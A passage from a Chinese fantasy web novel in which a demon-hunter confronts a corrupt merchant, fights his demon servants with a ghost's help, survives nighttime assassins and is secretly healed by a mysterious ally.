“钱老板,我想我看清楚这其中的玄机了。”姜长泠琉璃般的瞳孔看向卦象,修长的手指往石板中连着画了八下。
她径直地将所有乾卦改为了相反的坤卦。
钱恒亮反应不慌不忙,看了一眼被篡改的卦象,只是摸了摸大拇指上的扳指道:“没想到姜捉妖师也算是有些实力。”
姜长泠并不意外,此番下场早在她见到那两只熟悉的妖后便能预见。
若是那两只妖不知她的身份,却又在府中遇见,那定会想尽办法上报钱恒亮。
可那两只妖的眼神见她时分明毫无波澜,颇有种伪装陌生的模样。
这样看来,想必是已经向钱恒亮通风报信过了。
“既然钱老板知晓我是捉妖师,也应该清楚我此行来钱府的目的吧?”
“恕钱某愚昧。”
姜长泠眯了迷眼没回应,只是雷厉风行一脚踹在他膝盖上将他撂倒,跪压在他身上,当即从袖中抽出了一把利刃悬在他脖颈处:“这么多罪妖是从哪里来的?”
她冷静地抬眸看向周围,数名妖仆已然向她缓慢靠近。
“再过来试试看?”姜长泠将刀尖抵入钱恒亮的脖子。
钱恒亮连忙喊了一声:“都停下。”
妖仆们便乖乖地站在原地不再动。
“姜
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捉妖师,你若是只想知道这些无关要紧的小事,我们大可以在茶桌上聊,何必动武动粗呢?”钱恒亮笑道。
姜长泠掏出一张镇妖符贴在了石柱之上,又抽出了一条缚妖绳把钱恒亮束缚住后将后背旋向了石柱。
“这些也能叫无关紧要的小事?”姜长泠问道,“那么钱老板暗中派人去追杀典当之人的事情算大事了吗?”
钱恒亮本还风轻云淡着,不料这会听到这句话便变了脸色,问道:“姜捉妖师,劝你不要血口喷人,凡是都需要讲究证据。”
姜长泠冷哼一声:“那院子里的这些带有束泠烙印的妖仆你是如何得来的?光是这一点你便有罪。”
“有罪?”钱恒亮似乎是被逗笑了,“这事你可有问过你们妖都办事处的督办大人吗?”
的确,关在妖都办事处的妖牢之中的罪妖要如何轻易放出?况且从来无妖被劫狱或越狱的先例。
这很难不让人与妖都联想在一起。
若是这件事与妖都有关,牵涉的和要顾虑的事情就变多了。
姜长泠装作不信,又道:“可笑,从妖都出来的被赋上烙印的妖都已散尽灵力,怎可能像你手下的妖仆般强盛?”
“姜捉妖师,我该说你是单纯呢,还是愚钝呢?”钱恒亮丝毫不畏惧姜长泠的压迫笑起来,“你可知有种东西叫做解灵印?这些年来,老潘一直没跟你们说过吗?”
此话一出,姜长泠的手便不受控制地松了一下,随后又握紧了刀柄。
她不禁回想起那天那只灵力强悍的虎妖,明明脖颈处有束灵烙印,上报了督办却置之不理的情景。
原来一切都是有迹可循的么?
“姜捉妖师,钱某呢衷心奉劝你一句就不要想着多关心闲事了,闹到如今这个局面你也不好收手吧。”钱恒亮淡定自若,“若是你放下屠刀,我能保你出去无虞,可你要杀了我,那你也不能活着走出这片庭院,就算侥幸活着,你也还得背负一个杀人的罪名。”
他说的这些,姜长泠自然是有所考量,而且这些事牵连的各方实力着实庞大,她手上又没有得力的证据,仅凭着那些冤魂是没有办法将正道公之于众的。
而周遭的屏障应该随着她改变的卦象已然撤下,她抬头望了眼天空,果然看到了一团黑雾飘在空中。
是长孙归璟。
“长孙叔,准备好了吗?”姜长泠问道。
“当然。”长孙归璟道。
钱恒亮疑惑地皱了皱眉,愣是没听懂姜长泠说的话所谓何意。
“留他一命。”姜长泠一手扔掉匕首,另一只手抬起露出早早已经画好的符文。
黑雾瞬间冲向符文处。
“怎么,姜捉妖师这么快想通了?”钱恒亮问道。
“嗯,想通了,刚才多有冒犯。”姜长泠站起身来收回缚妖绳。
钱恒亮嘴角一勾,连忙从地上爬了起来,他看向姜长泠时还没发觉有什么不对劲,只觉得姜长泠看向他的眼神时,貌似有着浓厚的恨意。
他趔趄地退后数布,捏了捏扳指狠狠道:“格杀勿论,不要让她走出钱府。”
15. 阴谋
此话一出,四面八方还站着的妖仆猛然向姜长泠冲去,可谓是各显神通。
长孙归璟善用剑器,若是能有一把剑,能发挥出的实力便能扶摇直上。
于是被下了追杀令的姜长泠只好先一边闪躲,一路跑回那主厅堂。
或许是在钱府的地盘之中,妖仆们的手段略显收敛,仿佛是怕伤到了庭院中的一花一草。
姜长泠一路跑回主厅堂时,只感觉到背后的一直有着隐隐的杀气袭来,但长孙归璟的预判倒是十分精确,左跳右躲起来愣是没有被一个妖仆近身。
直到厅堂,妖仆的动作更是收敛了起来,姜长泠毫不费劲地靠近了剑匣所在的地方。
一开剑匣,长孙归璟自然地接过身体的掌控权,无比顺手地拿出宝剑。
一瞬间,一阵强劲的灵力自剑而下,被锻造的剑似乎有灵性般嗡了一声。
长孙归璟拿到手时慢条斯理地挑了个剑花。
起初这把剑在姜长泠手上时,她只觉沉重,现如今看着自己舞动着这把剑时,颇有些神奇。
一妖仆向他扑来,长孙归璟眼神一凛,用掌中剑蓦然掀起一道剑风,炽烈滚烫带着压迫的威压向妖仆扫去,顿时向后吹退了一片妖仆。
接着三两下蹬上墙体,占领着空中的制敌优势向一冲来的妖仆劈去,这一剑,如同刽子手手上的落头刀,混杂了碎肉断骨之力落地,直让一妖仆断了一臂,鲜血飞溅。
下一瞬侧划过去直直挡下一记蛇尾缠袭,翩然闪躲而去。
接着他又在众妖仆中像个醉鬼般乱舞着剑,看似毫无章法实则招招冲要害。
不一会便杀出一片血雨。
所有想近身前来妖仆都被长孙归璟那锋利的宝剑划怕了,纷纷将长孙归璟围起来却不敢上前。
见此景,长孙归璟将剑锋插入地面,地面顿时一颤,晃动了片刻,随后一阵威压像是阵阵涨潮般突破地面朝妖仆们猛冲而去,妖仆无奈向旁避去,而长孙归璟便趁此期间突破了围攻,奔向了外面。
而钱恒亮费劲地追了一路却发现自己的妖仆根本拦不住姜长泠,索性他直接隔空向着姜长泠喊话:“姜长泠!你若是再敢动我房屋里的一点东西,你就死定了!”
长孙归璟丝毫不理会,一个俯身躲过蝎尾的突脸,紧接着蓄满灵力的一剑向蝎尾划去,黑血涌现,他立马抬起手挡住。
不知不觉间,长孙归璟已经慢慢退到了钱府大门处。
而所有妖仆已无一妖敢再上前来。
似乎他们自己也知晓自己是见不得光的存在。
“长泠,走吗?”
“嗯。”
“且慢。”钱恒亮信步从众妖仆中走了出来,所有妖仆都自觉地让开了位置。
姜长泠接回身体的掌控权,正欲推开大门,听到声音又回头看去,静候着看钱恒亮还能放出什么厥词。
“你应该也知,惹了我就等于与整个青竹城为敌。”钱恒亮将方才的狼狈尽数抹去,尽力让自己变得体,“刚才我也看得出你的实力很强,当一个捉妖师着实是屈才了,不如来我这府上当打手如何?我保你这辈子衣食无忧,有数不清的荣华富贵。”
“不需要,我既然找上门来,就不会愿与你这种人为伍。”姜长泠蔑了他一眼。
钱恒亮上前一步,冷笑道:“就算你不愿与我伍,就会有你与你为伍么?也不看看你威胁的是谁?”
“你只不过是一个捉妖师罢了,你以为你能改变什么么?出了钱府大门,我弄死你也照样像弄死只蝼蚁一样简单。”
姜长泠抬头看向钱府的围墙之上,渐渐飘来了几团黑雾。
想必是之前死在了钱恒亮手上的冤魂发现钱府的屏障消失便聚拢了过来。
“请便。”姜长泠脸上不免沾了些血污,曝露在光线之下显得野性又孤漠。
她默默推开府门离去。
姜长泠一身血污,手里还提着一把带血的剑,实在不敢走在多人的大街上。
只得抬手略微掩面穿进人烟稀疏的小巷里。
此时长孙归璟问她:“长泠,接下来你打算如何?”
“这次的行动有些考虑不周了,没想到钱恒亮早就识破我了。”姜长泠道,“原以为入了钱府将这屏障消除便能知道真相如何,现在看来真相知道得更快了,也更棘手了。”
“虽然钱恒亮是这么说,但他若只是想拖一个人下水,而那人刚好是妖都办事处的督办呢?”
她摇摇头道:“他通篇也只有一处提及了督办,其他地方几乎没提,我怀疑他也有些忌惮督办的权势,或是督办手上有着他的把柄。”
“而他说的那些话。”姜长泠眼神一黯,苦笑了下,“也并非是空话,我只是一介捉妖师,能力有限,可能不能给你们一个很好的交代。”
长孙归璟闻言却问道:“长泠,你怕了吗?”
姜长泠乌睫垂下遮住了那好看而清亮的瞳孔,浑身透露着一股疏离之感。
她晃神了须臾后抬起眼眸,微笑起来时却春风明媚:“长孙叔,我不过也只是个凡人,当然会怕。”
“不过我为人在世除了捉妖也再没有对世间做过任何贡献了,如今我这通灵之力被发掘,只有我看了人间未知的疾苦...当然要尽我所能改善民生。”
“留下这种人置之不理也只会徒增祸患。”
长孙归璟忽然陷入沉思,他想起原本的计划也不过是想借副躯体复仇,只要将钱恒亮杀了,所有的事情都能一了百了。
可事实上却并不能如此。
借躯体杀人,相当于给别人扣下一个杀人的罪名,这等同毁掉了一个人,那这做法又与钱恒亮这等罪人有何区别呢?
他坚定道:“长泠,有叔在,定不会让那群歹徒伤害到你的。”
姜长泠怔了下,笑道:“叔,我信你。”
*
黄昏将至,妖都公膳堂内。
姜长泠不过刚找了个独桌坐下,对面就坐下了个意气风发的青年郎。
“姜长泠,我今日在街上看见你了,你那会满身是血污是怎么回事?”白祝锦没有端食盘,显然没有在这里用膳的打算,只不过是专门来找姜长泠八卦的。
姜长泠眉头微挑,没想到走那么快还是被同门看见了。
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>“不过刚巧遇到一只作恶的妖,拿来试试剑罢了。”姜长泠微笑了下。
闻言,白祝锦一拍桌说:“对了,我记得你从不用剑的,怎么这会用剑如此利索了?”
姜长泠愣了愣,考虑着要不要把事实说出来。
可这通灵之事,并非是所有人都能相信的。
除了那位与她一样能见到鬼的萧公子...
她一定是和萧公子待久了,以为能见鬼都是件常事了。
她连忙收起这个危险的念头。
“目前还在练习,想试试用剑。”
白祝锦恍然大悟地点头,继而道:“你听说了吗,那富甲一方的钱家从明日起便要开拍卖会,是向城中所有人开放的。”
“难道之前不是开放的?”姜长泠问道。
“当然不是。”白祝锦解释着,“之前钱家的拍卖会仅限邀请入会,可明日的拍卖会却是个闲人也是能进去参观。”
“现如今大街上的百姓都沸腾了,说是明天拍卖的物品有活物,还有类似于舍利子的东西。”
姜长泠不由地蹙起眉,钱恒亮到底打得什么算盘?
今日长孙归璟与她配合伤了他府上的妖仆,而这转眼间就将这些受伤的妖仆给卖了?
担心卖不出去,还扩增了买者么?
“明天一起去看看吗?”白祝锦露出诚挚的眼神。
姜长泠隐约觉得这其中有些不对劲,可又推敲不出什么阴谋。
遵循着知己知彼,百战百胜的原则,她还是点了点头:“好。”
“那便说好了,明天一起出门。”白祝锦道,“你用膳吧,我先走啦。”
“嗯,明天见。”
白祝锦走后,姜长泠独自一人默默地用完膳回了家中。
历经了闹钱府一事,按照钱恒亮最后对她放下的狠话来看,今晚定是一个不眠之夜。
既然钱恒亮没有办法用明招抹杀她,那必然会耍阴招,譬如趁夜深人静时偷偷潜入杀了她。
届时便是抓住钱恒亮把柄的最好时机。
首先从妖仆上下手,便能再一步步溯其作案手法与规律,昭告于众...
于是她坐于在桌前看书挑灯长明,今晚不打算入眠了。
正翻开一页时,空中便飘来了一团黑雾落地,长孙归璟衣冠整齐地出现在他房中,表情似有些担忧又有些兴奋对她道:“长泠,你今日破除了钱府中的屏障,一些鬼魂便慕名而来了。”
“慕名?”姜长泠疑惑问道。
“嗯,你可以推开门出去看看。”长孙归璟点头道。
姜长泠应声站起身来,走到门前推开。
一推开门,冷风便夹杂着寒霜迎面吹来,她不由地看愣了。
现在天时不算晚,天空还是泛着灰扑扑的蓝色。
就在她这一隅不大之地跪拜了数个鬼魂化为的人形,俯瞰过去,只看到数“人”的背脊向她朝拜。
就像是她是什么备受敬仰的人。
她怎能受得起这等殊荣,连忙行礼道:“各位前辈不必行如此大礼。”
“晚辈姜长泠见过各位前辈。”
16. 暗杀
话音落下,庭院中的部分鬼魂纷纷抬头看向姜长泠,而另一些则是说着:“原来她真的能看见我们!”
“这当然是真的。”长孙归璟在一旁道。
长孙归璟又转而向姜长泠悲道:“这些都是死在钱恒亮手下的人。”
“我们一家就是被那钱恒亮给害死的!”
“那天我当了一件传家宝百年乌玄石,晚上就惨遭他们毒手了!”
“还有我们,我们也就当了一块赤灵珊瑚玉!简直就是欺人太甚!”
冤魂们七嘴八舌抱怨着,似乎是觉得终于有个活人听到,想要尽诉完这些年受的委屈。
姜长泠也被这氛围渲染出一丝悲愤,坚定对着众魂道:“晚辈定会尽力为前辈们讨要个说法。”
众鬼魂蓦然安静下来看向姜长泠。
“能有人站出来制裁钱恒亮已是勇气可嘉,小姑娘你一定要保护好自己为先啊。”其一较年长的婆婆语重心长道。
而后一个尚且年轻的男子不禁哭泣出声:“我以为我们这辈子就这么枉死了,不曾想世间上还有人能认清真相,呜呜呜...”
婆婆抬头看了一眼哭得厉害的青年人,又深深地望了一眼姜长泠,接着跪伏在地一拜,声音苍老而悲凉:“吾愿也算了却,自当归也。”
渐渐的,老人的身躯随风淡化,最后隐于了尘间消失了然,与世长辞。
姜长泠知道,这是放下了执念入了轮回。
年轻的男子含泪怒道:“姜捉妖师,日后你若需要我们帮什么忙的尽管开口!”
姜长泠还没回应,长孙归璟便率先不屑出声:“在座各位不是凡夫俗子便是老弱妇孺,没什么忙需要你们帮的。”
“长孙归璟,你!”男子红着眼指着他吼了一声。
姜长泠终归是站出来掌控了下局面:“在座的各位可有进过钱恒亮那拍卖的场地?”
男子瞬间泄气摇摇头:“没有。”
而后面的鬼魂们面面相觑。
接着“人”群之中不知谁开口说了一句。
“那拍卖会的场地之中也设有挡鬼的屏障,我们也都被挡住了从来没有进去看过。”
姜长泠不免有些讶然。
这钱恒亮在钱府上设下屏障就算了,怎么连拍卖会也有...?
按理来说,鬼魂虽不能对人造成伤害,但缠绕其让其得癔症或者梦魇是也是可以做到的。
钱恒亮的身上究竟背负了多少条人命才会那么怕鬼?
看来明天的拍卖会也要步步为营才行。
“好了好了,带你们见过本尊了都散了吧,别打扰她歇息了。”长孙归璟赶了赶把这围成了一圈的鬼魂。
“多谢姜捉妖师。”鬼魂们闻言纷纷往地上磕了几个头后便化作了黑雾一个接着一个飘走了。
姜长泠也向他们低头行礼。
庭院安静了下来,重新恢复了一片寂静。
“话说,长泠你明天要去那钱恒亮的拍卖会么?”长孙归璟问道。
姜长泠点点头道:“明天过去看看,说不定有意外收获。”
“今晚,钱恒亮可能也会出手。”
姜长泠转身回了屋,长孙归璟也跟着穿过门跟来。
门被关上,姜长泠又坐回了凳子之上。
“的确,今天在他那钱府上闹了这么一出,今晚提防着也是好的。”长孙归璟道。
“嗯。”姜长泠垂眸翻开书页。
*
庭院外。
有两个孤零零的人影倚墙而站。
“今天又来多少个?”萧烬问道。
“约莫有十个。”符月炳答。
萧烬眉头一蹙:“是钱府派来的?”
“不止,估计还有妖都办事处派来的。”
“...都杀了。”
*
房中,灯火不知已经燃了多久,姜长泠已然有些困倦。
她本不善熬鹰。
而长孙归璟寸步不离地跟在姜长泠身旁,生怕她又遇到什么突发情况。
过了良久,他在外面隐约听到一些动静,决定还是出去看两眼:“长泠,你可要撑住了别睡过去,我出去替你看看周围有没有埋伏。”
姜长泠有些迷糊地应了一声,头也没抬起来。
不过须臾,长孙归璟又从门外飘了回来。
“长泠啊,我都看过了,这周围是一只妖都没有,干净得很,你可以放心睡觉了,若是有什么事我再来叫你起床。”
姜长泠有些恍惚,差点以为是自己听错了。
怎么长孙叔前脚才提醒她不要睡着怎么这后脚又让她睡觉去了?
“或许还要再等晚些。”姜长泠强撑住困意道。
外面夜雪纷飞,不少已经飘到了遍地的妖尸之上,空地处,一人手持着的剑上还流淌着鲜血,而另一人就在不远处淡淡看着,时不时用着意念折磨妖。
长孙归璟刚出去时看得就是这么一副场景,此刻他真的恨不得把一切都告诉姜长泠。
可他只能憋着。
这萧公子的葫芦里到底卖的什么药?
“长泠,其实你不必再等了,只要你出去看一眼,所有的疑惑都会迎刃而解了。”长孙归璟忍不住道。
“...疑惑?”姜长泠问道。
“难道你不觉得近日来,你有着许多的疑惑么?”
姜长泠低眉思虑一会,回想起那天晚上,有个男子默默潜入她家帮她疗伤。
那声音,像那萧公子。
可萧公子自称是凡人,又哪来的灵力,再者说,他何必要一二再骗自己,还偷偷跑来为她疗伤呢?
算上虎妖那天,萧公子也算是帮了她两次了。
可这又跟她出去外面看有何关联呢?
就这么想着时,姜长泠便站起身来走到了门口,推开了门。
暖黄的灯光映照在雪地之上,姜长泠凭借着微弱的光线看到了离她约莫是数步的距离,静静地躺着一具尸体,而就在这尸体身下正晕染出一抹触目惊心的红色...
她不免皱起眉向那尸体走去,蹲下身来,细细观察了这副尸体。
这尸体的正中胸口处被捅了一个血窟窿,穿透了背部,而血液还在不断地流出。
再用指尖拨开尸体的衣襟处,便能看到束泠烙印的存在。
这很可能又是钱府派出的妖来暗杀她的。
这不过为何这妖仆死状惨烈,且死法像是出自于杀死虎妖的人之手。
正中要害,一剑致命。
“长泠!小心身后!”
长孙归璟在她身后大声呵了一句,她顿时感觉到背后有一束寒意向她袭来。
她反应过
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来,连忙向侧面一个翻滚闪躲而过。
卷起些风雪,她抬眼看向来人。
这次来的不是妖了,而是人。
这人黑衣掩面裹得严实,手里的一柄长剑已然扎在了地面。
姜长泠平日虽极少展露出近战的身手,但也不代表不会。
于是她立马续起手中灵力便向那黑衣人迎去。
两人在风雪中交手依旧显得很安静,似乎谁也不想引起骚动。
长孙归璟在一旁看着干着急,连忙踱步到了庭院外的墙后,看着躲着两人问道:“你们为什么又不出手了?快去帮帮她呀!”
“还没到时机。”萧烬却说。
“唉,叔知道你喜欢长泠,想扮演英雄救美的戏码,可这万一再打下去引来了再多的人怎么办,你们还想不想让她活了?”长孙归璟无比郑重道。
这话一出,符月炳那常年没有表情的脸又再次破了戒,凝眉看向了长孙归璟。
长孙归璟回瞪了符月炳一眼:“我有何处说的不对?”
“你哪哪都说错了。”萧烬向他投去一个和善的眼神,“若是不想那么早入轮回的话就乖乖闭上嘴。”
啧啧,明明长着一张翩翩公子的脸,心却如此黑暗!
长孙归璟不禁在心里诟病。
而另一边,姜长泠已经在数次交手之下,渐渐用符围成了一个困阵。
那黑衣人还没反应过来,脚下的光圈便猛然一亮,数条灵力宛如大树的枝条一般将他缠绕住不得动弹。
越动弹,反而抓得越紧。
最后他的剑也不受控地跌落在地。
姜长泠上前准备扯掉他的面罩,可那黑衣人忽然摇着头求饶:“姜捉妖师,求求你了放过我吧,我也不想来杀你的...这一切...这一切都是有人在背后指使的!”
“是谁指使的?”姜长泠探去的手忽然停滞在空中。
“好,好,我会把我知道的一切都告诉你。”黑衣人紧张地连咬字都有些不清晰,“因为我被人用法器控制住了,如果不来,我横竖都是一死,你懂吗?而且我也不能说出他的名字,否则就会被立即抹杀。”
记忆中,她似乎是对这种法器有所耳闻,不过是她还在雁来山时学到的知识。
就在她思忖这黑衣人说话的真假时,忽感背后又有一束威压向她袭来。
再看黑衣人那双露出来的眼睛时,顿时从恐慌变成了充满了惊喜。
她瞬间明白了这不过是缓兵之计。
而就在她要回头迎敌之时。
却发现,背后上方空无一人。
难道是她判断失策了?
姜长泠再回过头看,黑衣人眼里的光却一点一点黯淡下来。
个中辛酸,只有黑衣人自己知道。
他眼看着他的同伙凌于上空准备对他施以援手,正要得救之时,他就看到了他的同伴以一种极其扭曲的姿势...向后飞走了?
他很难想象这是中了什么邪。
他看着姜长泠回头,心脏都快要跳出胸腔:“姜捉妖师,我不是钱府的人...”
他饶是想再多说一句,却突然感觉心脏骤缩,愣是将这句话停在了嘴边。
而姜长泠见他瞳孔忽然瞪大往一处地方看去,整个身体便一焉向下一坠。
这下法阵倒是成为扶住他的了。
17. 逆子
姜长泠微愣,推测这黑衣人应该是说了些不该说的话。
莫非这黑衣人方才说的都是真的?
除了钱府外还有人想要除掉她...那这人岂不是极有可能是钱恒亮口中所说的督办大人?
姜长泠再将这黑衣人的面罩摘下,发现不过是一张普通而陌生的脸。
视线再往脖颈处挪去,并没有像钱府上的妖仆一般有烙印。
这下她很确定,这黑衣人和地上死了的妖仆是两拨人。
毕竟在青竹城外,她与那鹰妖蛇妖过招时,他们不可能对她的能力一无所知,若是要派人来暗杀也不应是这等实力。
显然这黑衣人的主子对她并不算了解。
她恍然回过神来,记得她是在被长孙叔的劝说之下出的门。
本是出来解惑的,怎么疑惑反而变得更多了。
姜长泠撤下法阵站起身来,看向了从不远处正鬼祟地挪动步伐的长孙归璟。
“长孙叔,我有一点不解,你方才为何要说出了门便能解惑?”
长孙归璟被吓了一跳后笑眯眯地看向她,清了清嗓子:“我方才的意思是其实钱府早就派人来暗杀你了。”
“...从何能看出?”姜长泠问道。
“莫非你不觉得这几天睡觉时周围总萦绕着一阵杀气么?”长孙归璟故作高深,“几日前,我看见有几只妖仆静悄悄地往此处靠近,但是后来都不约而同...走了。”
姜长泠又问:“何时?是长孙叔来找我那天吗?”
“正是。”
“那些妖仆就这么走了?”
“正是。”
“不对。”
“哪里不对?”
姜长泠静下心来思忖,总感觉有些事情未免有点太过于巧合。
像是背后有个人一直默默地帮着她,却不愿意透露姓名。
她的全部怀疑直直指向一个人——萧公子。
至于是为什么,她怎么也想不通。
她还有预感,长孙叔兴许是知道些许内幕之人,可他不愿与她说。
又或许是有人要他保密。
“先不说这个,长孙叔,你方才可有看到是谁杀了那名妖仆?”姜长泠问道。
长孙归璟叹气摇头:“没有。”
“是拿剑的还是拿刀的?”
“拿剑的。”长孙归璟下意识说出,下一瞬,他就被一阵电流通过全身,疼得他一时说不出半句话。
他深知自己说错话了。
姜长泠眼看着他蓦然变回了一团黑雾伏在地面,愣愣道:“长孙叔,你也不必如此,我知道你有事瞒着我,如果你不想说与我听,我不会刨根问底。”
可长孙归璟依旧停在原地一声不吭。
他本不想臣服于这阵电击,想顶着痛苦也要将真相告诉她。
结果随之而来的是更可怕的刑罚之痛。
他立马屈服,咬牙切齿道:“我...不...说。”
刑罚之痛忽然有了短暂地停歇,他又力竭地念叨了几句:“不说了不说了...”
这语气,显然是被威胁了。
姜长泠又抬眼扫了扫周围,却又看不到任何活人的痕迹。
这时,又有一名黑衣人悄然落在了姜长泠的屋檐之上,恰好被她的视线捕捉到。
姜长泠万万没想到今天竟是她家最热闹的一天。
正当她以为这人又是上门暗杀的,却听到这人跳落在地后说:“打扰了,我来收尸。”
接着默默从她身前略过了过去,径直走向那妖仆。
“你是钱府派来的?”姜长泠问他。
黑衣人默默摸出一个乾坤袋没说话。
正当那黑衣人施法于乾坤袋,将那妖仆的尸体纳入时,长孙归璟看着那人喃喃出声:“此人看着好生熟悉。”
“熟悉?”姜长泠快速过了一遍长孙叔那还尚在人世的血亲。
貌似只剩下了一个人,那便是他的儿子——长孙仲晏。
于是她道:“这位道友,多有得罪了。”
话音刚落,姜长泠一个箭步向黑衣人冲去,目的只为了取下他的面罩,就在要抓住之时,黑衣人动作一顿,连忙向后转身将她的手挡下。
见状,姜长泠又顺着他的力度晃了一圈抓住了他的手,问道:“你若不是钱府派来的人又怎会收尸?还是说,你只是个专门收尸的?”
黑衣人的面罩之上露出的一双眼睛略带厌倦之色盯着她:“与你无关,我没有杀你你就知足吧,别再抖机灵了。”
这时,长孙归璟又重新化为了人型走到姜长泠身旁,打量这黑衣人。
姜长泠意识到眼前人说的话似乎是话里有话。
此人原本是目的是来暗杀她的,却没有动手,还奉劝了她一句不要抖机灵。
莫非是指她闹了钱府一事么?
姜长泠松开他的手道:“不知道友贵姓?”
黑衣人眸中显然闪过疑惑,并不打算理会她便想径直离开。
“你可是名为长孙仲晏?”
此话一出,黑衣人的步伐便放慢了一点并没有回头。
“听闻家父在桐阳县中以卖茶为生,臭名昭著?”姜长泠一本正经道。
正走得恣意散漫的黑衣人听到这话却猛然回过身看向姜长泠,抬起手指着她,愠怒道:“不要胡说八道。”
一时之间,姜长泠亦不知哪点是他的生气的理由。
“逆子。”
长孙归璟皱着眉在一旁看着,已经十分能确定这黑衣人便是长孙仲晏,他深深地叹了口气,情绪越说越激动:“四年前,他便是如此古怪脾气,现在倒好!变本加厉,竟与那钱恒亮同流合污!狼狈为奸!”
“我长孙归璟就当没有过这个儿子!”
姜长泠在听长孙归璟说这番话时,那长孙仲晏已然走远。
她不免蹙眉,蓄起灵力召出一条缚妖绳向他袭去,而长孙仲晏自是感受到了背后的敌意,当即闪过身来迎战:“敬酒不吃吃罚酒?”
凛冽带着凉意的风吹起,两边却又因迸发出灵力透露出炽热的威压,置身其中不禁让人忽冷忽热。
长孙仲晏不过是掏出了一把短刃却也与姜长泠打得有来有往。
“长孙仲晏,你现在回头还来得及。”姜长泠用灵力缠上他的手腕,“你可知你父亲对你很失望么?”
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>“啧。”长孙仲晏眼中毫无忏意,立马换过一只手接过短刃,向姜长泠袭去,“废话真多。”
姜长泠被迫与他拉开身距,皱眉道:“那你可知钱恒亮是你的杀父仇人么?”
雪花肆卷,长孙仲晏带着锋利的短刃破开这雪雾冲到了姜长泠身前,一句话没有说。
姜长泠反应很快,闪身躲过接二连三的突刺,手中灵力乍现抵挡下一击后顺手扯下了他的面罩。
露出脸的瞬间,他便失去了打斗的意志,连忙捂住脸向后退去数步。
“看来真的无可救药。”姜长泠蹙眉道。
“他不光是逆子还是不孝子,我长孙家出了这么一个男丁真是脸都被丢尽了!”长孙归璟在一旁目睹,简直气到七窍生烟。
“说谁呢?”长孙仲晏貌似是被激怒了般,一手捂着脸另一只手拿起蓄满了灵力的匕首还要向她冲来。
不知为何,姜长泠感知到这一击的速度奇快又劲,她预感到她避不开。
千钧一发之际,她才释出灵力抵挡住下一次进攻。
反应过来后,她的手已经被划伤,可她现下无暇顾及,只得专注于长孙仲晏的进攻。
见他的进攻穷追不舍,姜长泠当即在交手空隙中抽出符咒,想循着他进攻的规律默默给他摆下阵法。
两人交锋了一会,或许是长孙仲晏发现无法突破她的防线,默默地收起了短刃转身便仓皇离去。
在此之前完全没有离开的预兆。
姜长泠捏着符咒愣在原地就这么目送了他飞上屋檐跳走了。
手背上温热的鲜血一点一滴往下掉去,敞开的伤口逐渐有了痛觉。
“唉,那不争气的逆子。”长孙归璟看着她的伤口,莫名有些愧疚之意,“是叔没有把他教好,下次要是再让你遇到那小子就让叔来好好教训一下他。”
“没事的叔,这些都是小伤。”姜长泠乐观地笑了下,“只不过是我自作主张想试试能不能让他回头,没想到他这么固执。”
“唉,终是叔对不住你。”
姜长泠不紧不慢地走回房屋,安慰道:“没关系的。”
另一边,站在墙角处的两人肩头上都落满了雪。
尤其是萧烬最惨,手上还莫名其妙地破了一道口子渗出了血。
他不禁黑着脸看着自己的手。
“公子,需要我把那人给抓回来杀了么?”符月炳问道。
萧烬的戾气都要溢出来了,正想说句“杀。”却又刹在了嘴边。
他的眼神逐渐从复杂衍变为清明,轻呼出一口气后又道:“算了,下不为例。”
“是。”
*
房中。
姜长泠从小到大已经习惯了这些大大小小的伤,每每处理起来时都得心应手。
不一会,手便被裹成了个粽子。
“长泠啊,你这手怎么包成这样了?”长孙归璟忍不住问道。
姜长泠阅书无数,却唯独没怎么读过医书,而这些包扎手法都是她一步一步自己摸索出来的。
“有何不妥?”姜长泠这会也没看出自己包扎得有哪里不好,只要是血止住了,她这包扎就算是成功了吧。
18. 嫌弃
“嗯...其实也无伤大雅。”长孙归璟点点头道。
“对了,长孙叔,你可曾记得有留下过什么信物给令郎吗?”姜长泠看向长孙归璟。
“哼,没有!就算有也被他丢掉了。”长孙归璟一想起那小子就生气,“从前他便瞧不起我在县中以铸剑打铁营生,天天出去厮混。”
姜长泠若有所思地低眉思忖。
方才她扯掉长孙仲晏的面罩的瞬间,一条红绳赫然出现在他脖前,而且挂着个吊坠,至于那是什么她也无从考究,毕竟她也只是瞥到了一眼。
通常来说,作为杀手,身上并不会有任何具有代表身份的物品,且在身上穿金戴银更不可能了。
她开始怀疑这长孙仲晏的身份,明明身手也不算差,目的也是来刺杀她的,为何不动手?
若说长孙仲晏还尚存着良知善念那便不会在听到钱恒亮是他的杀父仇人时无动于衷。
这一来二去的矛盾终究是化解不开。
她惆怅地皱了下眉。
长孙归璟抬起头,似乎是回忆起了当年的一些事迹:“我想起来,忘了何时,我貌似去过那佛寺求过两张护身符回来,一张给了我娘子,另一张便给了他。”
“后来可是用了红线穿着?”姜长泠问道。
他摇摇头:“没印象了。”
“都是些陈年旧事就不多提了。”长孙归璟回过神来,“你已然无虞,想必今晚也是无人再敢找你麻烦了,那叔先走了。”
“好。”姜长泠站起身行礼,目送了长孙归璟的离开。
房中又只剩下了她一人,一阵寂寥之感扑面而来。
她刚想拂灭灯火,却又停住了手。
为何长孙叔就如此确定接下来就没人敢来刺杀她了?
从何可得?
于是她又收回了手,默默地坐了回去,强撑住困意看书。
黑夜漫漫,光阴流逝,姜长泠也从正襟危坐变得小鸡啄米,困得眼皮半睁半闭。
忽然间,门边传来一声响动,她立马抬眼望去,发现门闩莫名滑动开来,她警觉站起身,可当门被推开时,她只窥见了来人的一角衣摆便莫名浑身无力地跌倒回座。
倒在桌上时,阵阵困意席卷而来逼迫她闭上眼睛,她努力摆脱,却也只在半阖半闭挣扎间看到一瞬来人模糊的身影便闭上了眼睛。
这感觉..就像是有一股奇怪的意识引导她不得不这么做。
她尚有知觉和意识,却像是梦魇一般醒不过来。
到底是谁有那么大的能耐?
听着外面风雪声减弱,她意识到是来人关上了门。
“啧,这包的都能当布枕了。”来人忍不住嫌弃道。
姜长泠听到这声音,觉得甚至熟悉。
接着她受伤的手被人抬起,一圈又一圈地拆掉了她手中的绷带。
她也逐渐感受到了来人手掌的温度。
像是淬了冰一般寒冷。
最后伤口中溢出来的血与绷带黏在一起,那人轻扯了一下便没有再动了。
于是一股灵流自她手腕处而涌入。
姜长泠惊觉,怎么又是熟悉的感觉。
这人又在帮她疗愈?
待伤口愈合完全,她的手便被放了下来。
萧烬看着姜长泠皱起了眉头就知道了她还没睡着。
他刚才进门前便用意念控制着让她闭上眼昏过去,可不曾想姜长泠的意志力竟如此坚毅,困成这样了还不肯屈服。
不愧是个能请鬼上身的…
